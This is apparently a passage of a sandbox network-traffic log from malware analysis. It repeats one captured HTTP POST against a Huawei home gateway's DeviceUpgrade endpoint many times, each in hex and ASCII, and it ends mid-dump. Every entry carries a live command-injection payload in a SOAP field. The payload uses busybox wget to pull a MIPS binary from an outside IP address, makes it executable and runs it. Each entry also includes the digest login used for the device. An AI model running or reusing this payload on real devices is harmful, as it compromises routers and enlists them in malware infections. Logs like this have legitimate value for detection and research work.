72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" 